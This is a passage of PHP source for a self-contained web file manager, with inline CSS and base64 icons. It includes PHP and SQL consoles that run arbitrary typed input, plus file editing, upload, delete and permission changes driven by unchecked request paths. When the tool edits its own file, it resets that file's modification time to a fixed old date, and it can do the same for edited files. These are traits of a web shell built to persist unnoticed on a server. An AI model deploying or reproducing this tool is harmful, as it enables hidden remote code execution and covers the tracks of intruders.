	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
